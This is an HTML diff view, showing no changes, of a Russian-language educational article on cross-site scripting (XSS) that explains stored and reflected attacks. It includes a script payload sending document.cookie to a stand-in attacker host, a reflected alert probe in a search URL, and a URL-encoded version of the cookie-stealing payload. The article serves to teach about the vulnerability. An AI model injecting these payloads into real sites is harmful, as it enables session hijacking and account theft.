HTML Diff
0 added 0 removed
Original 2026-01-01
Modified 2026-03-10
1 <p>Уязвимость<strong>Cross-site Scripting</strong>относят к межсайтовому выполнению сценариев. При данной атаке злоумышленник передаёт серверу исполняемый код, который перенаправляется веб-браузеру пользователя. Как правило, вредоносный код создаётся на HTML/JavaScript, однако могут использоваться и другие технологии, поддерживаемые браузером: VBScript, Java, ActiveX, Flash и т. д.</p>
1 <p>Уязвимость<strong>Cross-site Scripting</strong>относят к межсайтовому выполнению сценариев. При данной атаке злоумышленник передаёт серверу исполняемый код, который перенаправляется веб-браузеру пользователя. Как правило, вредоносный код создаётся на HTML/JavaScript, однако могут использоваться и другие технологии, поддерживаемые браузером: VBScript, Java, ActiveX, Flash и т. д.</p>
2 <p>Переданный таким образом код исполняется в зоне безопасности уязвимого сервера. Благодаря таким привилегиям, код может читать, передавать либо даже модифицировать конфиденциальные данные, доступные посредством браузера.</p>
2 <p>Переданный таким образом код исполняется в зоне безопасности уязвимого сервера. Благодаря таким привилегиям, код может читать, передавать либо даже модифицировать конфиденциальные данные, доступные посредством браузера.</p>
3 <p>Например, атакованный пользователь может столкнуться с компрометацией аккаунта и кражей cookie-файлов. Также возможно перенаправление браузера пользователя на другой сервер либо осуществление подмены содержимого сервера. По итогу такой атаки хакер сможет использовать для просмотра сайта браузер жертвы и от имени жертвы. Код может передаваться хакером в URL, в HTTP-заголовках запроса (user-agent, cookie, refferer), в значениях полей форм и т. п.</p>
3 <p>Например, атакованный пользователь может столкнуться с компрометацией аккаунта и кражей cookie-файлов. Также возможно перенаправление браузера пользователя на другой сервер либо осуществление подмены содержимого сервера. По итогу такой атаки хакер сможет использовать для просмотра сайта браузер жертвы и от имени жертвы. Код может передаваться хакером в URL, в HTTP-заголовках запроса (user-agent, cookie, refferer), в значениях полей форм и т. п.</p>
4 <h2>Виды Cross-site Scripting</h2>
4 <h2>Виды Cross-site Scripting</h2>
5 <p>Выделяют 2 вида атак, обеспечивающих межсайтовое выполнение сценариев: - постоянные (сохранённые) атаки; - непостоянные (отражённые) атаки.</p>
5 <p>Выделяют 2 вида атак, обеспечивающих межсайтовое выполнение сценариев: - постоянные (сохранённые) атаки; - непостоянные (отражённые) атаки.</p>
6 <p>Отличие в том, что во втором варианте передача кода веб-серверу и возврат его клиенту выполняется в рамках одного HTTP-запроса (в первом случае - в разных).</p>
6 <p>Отличие в том, что во втором варианте передача кода веб-серверу и возврат его клиенту выполняется в рамках одного HTTP-запроса (в первом случае - в разных).</p>
7 <p>Чтобы реализовать непостоянную атаку, злоумышленнику нужно, чтобы ничего не подозревающий пользователь перешел по ссылке, сформированной хакером (ссылка передаётся по email, через соцсети, мессенджеры и т. д.). При загрузке сайта код, который внедрён в URL либо в заголовки запроса, передаётся клиенту с последующим выполнением в его браузере. Что касается сохранённой разновидности атаки, то она возникает, если код передается веб-серверу, сохраняясь на нём на определённое время. Наиболее популярные цели атак - форумы, чаты, электронная почта с Web-интерфейсом. В этом случае для атаки пользователю совсем не обязательно переходить по ссылке, а достаточно всего лишь посетить уязвимый веб-сайт.</p>
7 <p>Чтобы реализовать непостоянную атаку, злоумышленнику нужно, чтобы ничего не подозревающий пользователь перешел по ссылке, сформированной хакером (ссылка передаётся по email, через соцсети, мессенджеры и т. д.). При загрузке сайта код, который внедрён в URL либо в заголовки запроса, передаётся клиенту с последующим выполнением в его браузере. Что касается сохранённой разновидности атаки, то она возникает, если код передается веб-серверу, сохраняясь на нём на определённое время. Наиболее популярные цели атак - форумы, чаты, электронная почта с Web-интерфейсом. В этом случае для атаки пользователю совсем не обязательно переходить по ссылке, а достаточно всего лишь посетить уязвимый веб-сайт.</p>
8 <h3>Пример сохраненного варианта атаки</h3>
8 <h3>Пример сохраненного варианта атаки</h3>
9 <p>Есть сайт с доской объявлений. Зарегистрированный ранее пользователь идентифицируется по номеру сессии, который сохраняется в cookie. Когда злоумышленник оставляет сообщение, содержащее код на JavaScript, он получает доступ к конфиденциальному идентификатору сессии пользователя.</p>
9 <p>Есть сайт с доской объявлений. Зарегистрированный ранее пользователь идентифицируется по номеру сессии, который сохраняется в cookie. Когда злоумышленник оставляет сообщение, содержащее код на JavaScript, он получает доступ к конфиденциальному идентификатору сессии пользователя.</p>
10 <p><em>Посмотрим на образец кода для передачи cookie:</em></p>
10 <p><em>Посмотрим на образец кода для передачи cookie:</em></p>
11 &lt;SCRIPT&gt;document.location= ' http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie&lt;/SCRIPT&gt;<h3>Пример отражённого варианта атаки</h3>
11 &lt;SCRIPT&gt;document.location= ' http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie&lt;/SCRIPT&gt;<h3>Пример отражённого варианта атаки</h3>
12 <p>Некоторые серверы предоставляют возможность поиска по содержимому. Обычно запрос здесь передаётся в URL и находится в результирующей странице. Допустим, при переходе по URL http://portal.example/search?q= "online courses" пользователь увидит страницу с результатом поиска и фразу: "По запросу online courses найдено 0 страниц". Если же в виде искомой фразы передать Javascript, код выполнится в веб-браузере пользователя.</p>
12 <p>Некоторые серверы предоставляют возможность поиска по содержимому. Обычно запрос здесь передаётся в URL и находится в результирующей странице. Допустим, при переходе по URL http://portal.example/search?q= "online courses" пользователь увидит страницу с результатом поиска и фразу: "По запросу online courses найдено 0 страниц". Если же в виде искомой фразы передать Javascript, код выполнится в веб-браузере пользователя.</p>
13 <p><em>Как это может выглядеть:</em></p>
13 <p><em>Как это может выглядеть:</em></p>
14 http://portal.example/search/?q=&lt;script&gt;alert ( "xss")&lt;/script&gt;<p>А чтобы сокрыть код сценария, может быть задействована кодировка URLEncode</p>
14 http://portal.example/search/?q=&lt;script&gt;alert ( "xss")&lt;/script&gt;<p>А чтобы сокрыть код сценария, может быть задействована кодировка URLEncode</p>
15 http://portal.example/index.php?sessionid=12312312&amp; username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
15 http://portal.example/index.php?sessionid=12312312&amp; username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E